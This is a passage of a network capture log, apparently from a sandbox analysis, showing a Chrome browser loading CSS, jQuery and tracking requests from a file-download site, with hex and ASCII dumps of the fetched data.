2024-06-15 09:15:00 UTC	16384	IN	Data Raw: 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 0a 7d 0a 2e 73 69 6e 67 6c 65 2d 62 6c 6f 67 2d 62 6f 78 20 69 6d 67 20 7b 0a 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 7d 0a 0a 0a 2f 2a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 63 6c 6f 75 64 2d 68 6f 73 74 69 6e 67 2e 68 74 6d 6c 20 53 54 59 4c 45 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2a 2f 0a 2e 66 61 6d 65 77 6f 72 6b 2d 61 72 65 61 20 7b 0a 20 20 20 20 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 20 39 30 70 78 3b 0a 7d 0a 0a 2e 66 61 6d 65 77 6f 72 6b 2d 61 72 65 61 20 2e 73 65 63 74 69 6f 6e 2d 74 69 74 6c 65 20 68 32 20 7b 0a Data Ascii: display: none;}.single-blog-box img { width: 100%;}/----------------------------------------cloud-hosting.html STYLE------------------------------------------/.famework-area { padding-bottom: 90px;}.famework-area .section-title h2 {
2024-06-15 09:15:00 UTC	16384	IN	Data Raw: 65 6e 74 20 7b 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 34 30 70 78 20 31 34 70 78 3b 0a 7d 0a 0a 70 2e 62 6c 6f 67 2d 6d 65 74 61 20 7b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 31 36 70 78 20 30 3b 0a 7d 0a 0a 70 2e 62 6c 6f 67 2d 6d 65 74 61 20 61 20 7b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 33 65 34 34 35 62 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 35 70 78 3b 0a 7d 0a 0a 70 2e 62 6c 6f 67 2d 6d 65 74 61 20 69 2e 66 61 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 38 70 78 3b 0a 20 20 20 20 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 20 36 70 78 3b 0a 7d 0a 0a 2e 62 6c 6f 67 2d 62 6f 78 2d 63 6f 6e Data Ascii: ent { padding: 40px 14px;}p.blog-meta { margin: 16px 0;}p.blog-meta a { color: #3e445b; font-size: 12px; display: inline-block; padding: 5px;}p.blog-meta i.fa { font-size: 18px; padding-right: 6px;}.blog-box-con

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.16	49806	185.178.208.137	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:15:00 UTC	707	OUT	GET /slake/responsive.css?ver=5 HTTP/1.1 Host: download.oxy.st Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://download.oxy.st/d/SmUh/2/5744b8343e4600a69fa0181348e90fc8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7; __qca=P0-2052007182-1718442895609
2024-06-15 09:15:00 UTC	374	IN	HTTP/1.1 200 OK Server: ddos-guard Connection: close Content-Security-Policy: upgrade-insecure-requests; Date: Sat, 15 Jun 2024 09:15:00 GMT Content-Type: text/css Content-Length: 79303 Last-Modified: Sun, 21 Jun 2020 22:27:36 GMT Vary: Accept-Encoding ETag: "5eefded8-135c7" Access-Control-Allow-Origin: * Accept-Ranges: bytes Age: 0 DDG-Cache-Status: MISS
2024-06-15 09:15:00 UTC	16010	IN	Data Raw: 2f 2a 20 4d 65 64 69 75 6d 20 4c 61 79 6f 75 74 3a 20 31 32 38 30 70 78 2e 20 2a 2f 0a 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 20 31 31 37 30 70 78 29 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 20 31 33 36 36 70 78 29 7b 0a 2e 73 6c 69 64 65 72 2d 68 65 61 64 69 6e 67 7b 0a 20 20 20 20 6c 65 66 74 3a 20 39 2e 37 25 0a 7d 0a 2e 73 6c 69 64 65 72 2d 73 69 6e 67 6c 65 2d 69 74 65 6d 2e 73 6c 69 64 65 72 2d 73 69 6e 67 6c 65 2d 69 74 65 6d 2d 32 20 2e 73 6c 69 64 65 72 2d 68 65 61 64 69 6e 67 20 7b 0a 20 20 20 20 72 69 67 68 74 3a 20 39 2e 37 25 3b 0a 7d 0a 20 2e 73 6c 69 64 65 72 2d 73 69 6e 67 6c 65 2d 69 74 65 6d 2e 73 6c 69 64 65 72 2d 73 69 6e 67 6c 65 2d 69 74 65 6d 2d 32 20 2e 73 6c 69 64 65 72 2d 68 65 61 64 69 6e 67 2d 63 6f 6e 74 Data Ascii: /* Medium Layout: 1280px. */@media (min-width: 1170px) and (max-width: 1366px){.slider-heading{ left: 9.7%}.slider-single-item.slider-single-item-2 .slider-heading { right: 9.7%;} .slider-single-item.slider-single-item-2 .slider-heading-cont
2024-06-15 09:15:00 UTC	16384	IN	Data Raw: 0a 7d 0a 61 2e 70 72 69 63 69 6e 67 2d 62 74 6e 2e 62 6c 75 65 2d 62 74 6e 2e 68 6f 6d 65 70 61 67 65 2d 6f 6e 65 2d 61 6c 6c 2d 66 65 61 74 75 72 65 73 2d 62 74 6e 2e 61 63 74 69 6f 6e 2d 62 74 6e 2e 73 6c 69 64 65 72 2d 6c 69 6e 6b 73 2d 31 20 7b 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 31 33 70 78 20 32 32 70 78 3b 0a 7d 0a 61 2e 70 72 69 63 69 6e 67 2d 62 74 6e 2e 62 6c 75 65 2d 62 74 6e 2e 68 6f 6d 65 70 61 67 65 2d 6f 6e 65 2d 61 6c 6c 2d 66 65 61 74 75 72 65 73 2d 62 74 6e 2e 61 63 74 69 6f 6e 2d 62 74 6e 2e 73 6c 69 64 65 72 2d 6c 69 6e 6b 73 2d 32 20 7b 0a 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 32 38 70 78 3b 0a 20 20 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 34 38 70 78 3b 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 31 33 70 78 20 32 Data Ascii: }a.pricing-btn.blue-btn.homepage-one-all-features-btn.action-btn.slider-links-1 { padding: 13px 22px;}a.pricing-btn.blue-btn.homepage-one-all-features-btn.action-btn.slider-links-2 { margin-left: 28px; margin-top: 48px; padding: 13px 2
2024-06-15 09:15:00 UTC	61	IN	Data Raw: 5f 6d 65 6e 75 74 78 74 20 7b 0a 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 0a 20 20 20 20 7d 0a 2e 73 6c 69 63 6b 6e 61 76 5f 6d 65 6e 75 20 7b 0a 20 20 20 20 Data Ascii: _menutxt { display: none; }.slicknav_menu {
2024-06-15 09:15:00 UTC	16384	IN	Data Raw: 62 61 63 6b 67 72 6f 75 6e 64 3a 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 30 29 20 6e 6f 6e 65 20 72 65 70 65 61 74 20 73 63 72 6f 6c 6c 20 30 20 30 3b 0a 20 20 20 20 7a 2d 69 6e 64 65 78 3a 20 39 39 39 39 39 3b 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 20 20 72 69 67 68 74 3a 20 30 3b 0a 20 20 20 20 74 6f 70 3a 20 2d 36 35 70 78 3b 0a 7d 0a 2e 73 69 6e 67 6c 65 2d 73 6c 69 64 65 72 2d 69 74 65 6d 20 69 6d 67 2e 70 6f 73 69 74 69 6f 6e 2d 69 6d 67 2d 32 20 7b 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 0a 7d 0a 2e 73 6c 69 63 6b 6e 61 76 5f 6e 61 76 20 7b 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 20 20 77 69 64 74 68 3a 20 33 37 35 70 78 3b 0a 20 20 20 20 74 6f Data Ascii: background: rgba(0, 0, 0, 0) none repeat scroll 0 0; z-index: 99999; position: absolute; right: 0; top: -65px;}.single-slider-item img.position-img-2 { display: none;}.slicknav_nav { position: absolute; width: 375px; to
2024-06-15 09:15:00 UTC	16384	IN	Data Raw: 73 69 7a 65 3a 20 31 32 70 78 3b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 7d 0a 2e 74 65 73 74 69 6d 6f 6e 69 61 6c 2d 61 72 65 61 20 7b 0a 20 20 20 20 70 61 64 64 69 6e 67 2d 74 6f 70 3a 20 37 30 70 78 3b 0a 20 20 20 20 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 20 34 35 70 78 3b 0a 7d 0a 2e 74 65 73 74 69 6d 6f 6e 69 61 6c 2d 61 72 65 61 20 2e 73 65 63 74 69 6f 6e 2d 74 69 74 6c 65 20 7b 0a 20 20 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 35 30 70 78 3b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 7d 0a 0a 0a 2e 72 65 67 69 73 74 65 72 2d 62 74 6e 2e 74 65 78 74 2d 72 69 67 68 74 20 61 2e 70 72 69 63 69 6e 67 2d 62 74 6e 2e 62 6c 75 65 2d 62 74 6e 2e 68 6f 6d 65 70 61 67 65 2d 6f 6e 65 2d 61 6c 6c 2d 66 65 Data Ascii: size: 12px; margin: 0;}.testimonial-area { padding-top: 70px; padding-bottom: 45px;}.testimonial-area .section-title { margin-bottom: 50px; text-align: center;}.register-btn.text-right a.pricing-btn.blue-btn.homepage-one-all-fe
2024-06-15 09:15:00 UTC	14080	IN	Data Raw: 70 78 3b 0a 7d 0a 0a 2e 73 6c 69 64 65 72 2d 63 6f 6e 74 65 6e 74 20 68 32 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 32 70 78 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 66 65 66 66 66 66 3b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 36 30 30 3b 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 20 39 30 70 78 3b 0a 7d 0a 2e 73 6c 69 64 65 72 2d 63 6f 6e 74 65 6e 74 20 70 20 7b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 0a 20 20 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 31 30 70 78 3b 0a 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 39 70 78 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 70 78 20 32 30 70 78 3b 0a 7d 0a 2e 73 69 6e 67 6c 65 2d 73 6c 69 64 65 Data Ascii: px;}.slider-content h2 { font-size: 22px; color: #feffff; font-weight: 600; padding: 0 90px;}.slider-content p { color: #fff; margin-top: 10px; line-height: 19px; font-size: 12px; padding: 0px 20px;}.single-slide

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.16	49803	185.178.208.137	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:15:00 UTC	703	OUT	GET /slake/cookie.css?ver=6 HTTP/1.1 Host: download.oxy.st Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://download.oxy.st/d/SmUh/2/5744b8343e4600a69fa0181348e90fc8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7; __qca=P0-2052007182-1718442895609
2024-06-15 09:15:00 UTC	373	IN	HTTP/1.1 200 OK Server: ddos-guard Connection: close Content-Security-Policy: upgrade-insecure-requests; Date: Sat, 15 Jun 2024 01:08:00 GMT Content-Type: text/css Content-Length: 548 Last-Modified: Mon, 15 Feb 2021 21:38:28 GMT Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes Etag: "602ae9d4-224" Age: 29220 DDG-Cache-Status: HIT
2024-06-15 09:15:00 UTC	548	IN	Data Raw: 2e 63 6f 6f 6b 69 65 73 20 7b 0a 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 20 20 68 65 69 67 68 74 3a 20 37 37 70 78 3b 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 20 31 30 70 78 3b 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 3b 0a 20 20 20 20 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 33 31 33 35 34 64 3b 0a 7d 0a 2e 63 6f 6f 6b 69 65 73 5f 5f 64 65 73 63 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 Data Ascii: .cookies { width: 100%; height: 77px; padding: 0 10px; display: flex; justify-content: center; align-items: center; background: #31354d;}.cookies__desc { font-style: normal; font-weight: normal; font-size: 14px;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.16	49802	88.208.46.222	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:15:00 UTC	506	OUT	GET /sm/stat?landID=40&nameBlock=sl0&uuid=f39ede9d-9a59-4ee2-8649-1e0bfc6d884a&apiKey=b68c106c3df6f586f8cb1f48c5036112&action=70&rfr=https%3A%2F%2Foxy.st%2Fd%2FSmUh&smid=a1uebhcM HTTP/1.1 Host: ogffa.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-15 09:15:00 UTC	415	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 15 Jun 2024 09:15:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: DNT,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type,Range Access-Control-Expose-Headers: Content-Length,Content-Range
2024-06-15 09:15:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.16	49801	157.90.33.121	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:15:00 UTC	408	OUT	GET /sync?user_id=dNts6306JSIF1v1xnnpjsT HTTP/1.1 Host: uidsync.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: rauid=dNts6306JSIF1v1xnnpjsT
2024-06-15 09:15:00 UTC	269	IN	HTTP/1.1 200 OK Server: Angie Date: Sat, 15 Jun 2024 09:15:00 GMT Content-Type: application/json; charset=utf-8 Content-Length: 62 Connection: close Set-Cookie: rauid=dNts6306JSIF1v1xnnpjsT; expires=Sun, 15 Jun 2025 09:15:00 GMT; path=/; secure; SameSite=None
2024-06-15 09:15:00 UTC	62	IN	Data Raw: 7b 22 75 73 65 72 5f 69 64 22 3a 22 64 4e 74 73 36 33 30 36 4a 53 49 46 31 76 31 78 6e 6e 70 6a 73 54 22 2c 22 73 6b 69 70 5f 73 75 62 73 63 72 69 70 74 69 6f 6e 22 3a 66 61 6c 73 65 7d Data Ascii: {"user_id":"dNts6306JSIF1v1xnnpjsT","skip_subscription":false}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.16	49809	185.178.208.137	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:15:00 UTC	695	OUT	GET /slake/asset/js/jquery.min.js HTTP/1.1 Host: download.oxy.st Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://download.oxy.st/d/SmUh/2/5744b8343e4600a69fa0181348e90fc8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7; __qca=P0-2052007182-1718442895609
2024-06-15 09:15:00 UTC	392	IN	HTTP/1.1 200 OK Server: ddos-guard Connection: close Content-Security-Policy: upgrade-insecure-requests; Date: Thu, 13 Jun 2024 06:06:14 GMT Content-Type: application/javascript Content-Length: 86926 Last-Modified: Sun, 21 Jun 2020 20:10:26 GMT Vary: Accept-Encoding ETag: "5eefbeb2-1538e" Access-Control-Allow-Origin: * Accept-Ranges: bytes Age: 184127 DDG-Cache-Status: HIT
2024-06-15 09:15:00 UTC	15992	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery
2024-06-15 09:15:00 UTC	16384	IN	Data Raw: 62 72 65 61 6b 3b 72 65 74 75 72 6e 28 78 2d 3d 69 29 3d 3d 3d 72 7c 7c 78 25 72 3d 3d 30 26 26 78 2f 72 3e 3d 30 7d 7d 7d 2c 50 53 45 55 44 4f 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 69 3d 72 2e 70 73 65 75 64 6f 73 5b 65 5d 7c 7c 72 2e 73 65 74 46 69 6c 74 65 72 73 5b 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5d 7c 7c 6f 65 2e 65 72 72 6f 72 28 22 75 6e 73 75 70 70 6f 72 74 65 64 20 70 73 65 75 64 6f 3a 20 22 2b 65 29 3b 72 65 74 75 72 6e 20 69 5b 62 5d 3f 69 28 74 29 3a 69 2e 6c 65 6e 67 74 68 3e 31 3f 28 6e 3d 5b 65 2c 65 2c 22 22 2c 74 5d 2c 72 2e 73 65 74 46 69 6c 74 65 72 73 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 3f 73 65 28 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b Data Ascii: break;return(x-=i)===r\|\|x%r==0&&x/r>=0}}},PSEUDO:function(e,t){var n,i=r.pseudos[e]\|\|r.setFilters[e.toLowerCase()]\|\|oe.error("unsupported pseudo: "+e);return i[b]?i(t):i.length>1?(n=[e,e,"",t],r.setFilters.hasOwnProperty(e.toLowerCase())?se(function(e,n){
2024-06-15 09:15:00 UTC	16384	IN	Data Raw: 2c 74 68 69 73 2e 65 78 70 61 6e 64 6f 2c 7b 76 61 6c 75 65 3a 74 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 29 29 29 2c 74 7d 2c 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 2c 69 3d 74 68 69 73 2e 63 61 63 68 65 28 65 29 3b 69 66 28 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 74 29 69 5b 47 28 74 29 5d 3d 6e 3b 65 6c 73 65 20 66 6f 72 28 72 20 69 6e 20 74 29 69 5b 47 28 72 29 5d 3d 74 5b 72 5d 3b 72 65 74 75 72 6e 20 69 7d 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 76 6f 69 64 20 30 3d 3d 3d 74 3f 74 68 69 73 2e 63 61 63 68 65 28 65 29 3a 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 26 26 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 5b 47 28 74 29 5d 7d 2c 61 63 63 65 73 73 Data Ascii: ,this.expando,{value:t,configurable:!0}))),t},set:function(e,t,n){var r,i=this.cache(e);if("string"==typeof t)i[G(t)]=n;else for(r in t)i[G(r)]=t[r];return i},get:function(e,t){return void 0===t?this.cache(e):e[this.expando]&&e[this.expando][G(t)]},access
2024-06-15 09:15:00 UTC	16018	IN	Data Raw: 65 6e 64 43 68 69 6c 64 28 65 29 7d 29 7d 2c 70 72 65 70 65 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 52 65 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 31 3d 3d 3d 74 68 69 73 2e 6e 6f 64 65 54 79 70 65 7c 7c 31 31 3d 3d 3d 74 68 69 73 2e 6e 6f 64 65 54 79 70 65 7c 7c 39 3d 3d 3d 74 68 69 73 2e 6e 6f 64 65 54 79 70 65 29 7b 76 61 72 20 74 3d 4c 65 28 74 68 69 73 2c 65 29 3b 74 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 65 2c 74 2e 66 69 72 73 74 43 68 69 6c 64 29 7d 7d 29 7d 2c 62 65 66 6f 72 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 52 65 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 69 73 2e 70 61 72 65 6e 74 4e 6f 64 65 26 Data Ascii: endChild(e)})},prepend:function(){return Re(this,arguments,function(e){if(1===this.nodeType\|\|11===this.nodeType\|\|9===this.nodeType){var t=Le(this,e);t.insertBefore(e,t.firstChild)}})},before:function(){return Re(this,arguments,function(e){this.parentNode&
2024-06-15 09:15:00 UTC	16384	IN	Data Raw: 2c 74 2c 6e 29 7b 76 61 72 20 72 2c 69 2c 6f 3d 65 2e 6e 6f 64 65 54 79 70 65 3b 69 66 28 33 21 3d 3d 6f 26 26 38 21 3d 3d 6f 26 26 32 21 3d 3d 6f 29 72 65 74 75 72 6e 20 31 3d 3d 3d 6f 26 26 77 2e 69 73 58 4d 4c 44 6f 63 28 65 29 7c 7c 28 74 3d 77 2e 70 72 6f 70 46 69 78 5b 74 5d 7c 7c 74 2c 69 3d 77 2e 70 72 6f 70 48 6f 6f 6b 73 5b 74 5d 29 2c 76 6f 69 64 20 30 21 3d 3d 6e 3f 69 26 26 22 73 65 74 22 69 6e 20 69 26 26 76 6f 69 64 20 30 21 3d 3d 28 72 3d 69 2e 73 65 74 28 65 2c 6e 2c 74 29 29 3f 72 3a 65 5b 74 5d 3d 6e 3a 69 26 26 22 67 65 74 22 69 6e 20 69 26 26 6e 75 6c 6c 21 3d 3d 28 72 3d 69 2e 67 65 74 28 65 2c 74 29 29 3f 72 3a 65 5b 74 5d 7d 2c 70 72 6f 70 48 6f 6f 6b 73 3a 7b 74 61 62 49 6e 64 65 78 3a 7b 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 65 Data Ascii: ,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return 1===o&&w.isXMLDoc(e)\|\|(t=w.propFix[t]\|\|t,i=w.propHooks[t]),void 0!==n?i&&"set"in i&&void 0!==(r=i.set(e,n,t))?r:e[t]=n:i&&"get"in i&&null!==(r=i.get(e,t))?r:e[t]},propHooks:{tabIndex:{get:function(e
2024-06-15 09:15:00 UTC	5764	IN	Data Raw: 6a 61 78 53 65 74 75 70 28 7b 6a 73 6f 6e 70 3a 22 63 61 6c 6c 62 61 63 6b 22 2c 6a 73 6f 6e 70 43 61 6c 6c 62 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 59 74 2e 70 6f 70 28 29 7c 7c 77 2e 65 78 70 61 6e 64 6f 2b 22 5f 22 2b 45 74 2b 2b 3b 72 65 74 75 72 6e 20 74 68 69 73 5b 65 5d 3d 21 30 2c 65 7d 7d 29 2c 77 2e 61 6a 61 78 50 72 65 66 69 6c 74 65 72 28 22 6a 73 6f 6e 20 6a 73 6f 6e 70 22 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 2c 72 29 7b 76 61 72 20 69 2c 6f 2c 61 2c 73 3d 21 31 21 3d 3d 74 2e 6a 73 6f 6e 70 26 26 28 51 74 2e 74 65 73 74 28 74 2e 75 72 6c 29 3f 22 75 72 6c 22 3a 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 74 2e 64 61 74 61 26 26 30 3d 3d 3d 28 74 2e 63 6f 6e 74 65 6e 74 54 79 70 65 7c 7c 22 22 29 2e 69 6e 64 Data Ascii: jaxSetup({jsonp:"callback",jsonpCallback:function(){var e=Yt.pop()\|\|w.expando+"_"+Et++;return this[e]=!0,e}}),w.ajaxPrefilter("json jsonp",function(t,n,r){var i,o,a,s=!1!==t.jsonp&&(Qt.test(t.url)?"url":"string"==typeof t.data&&0===(t.contentType\|\|"").ind

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.16	49811	185.178.208.137	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
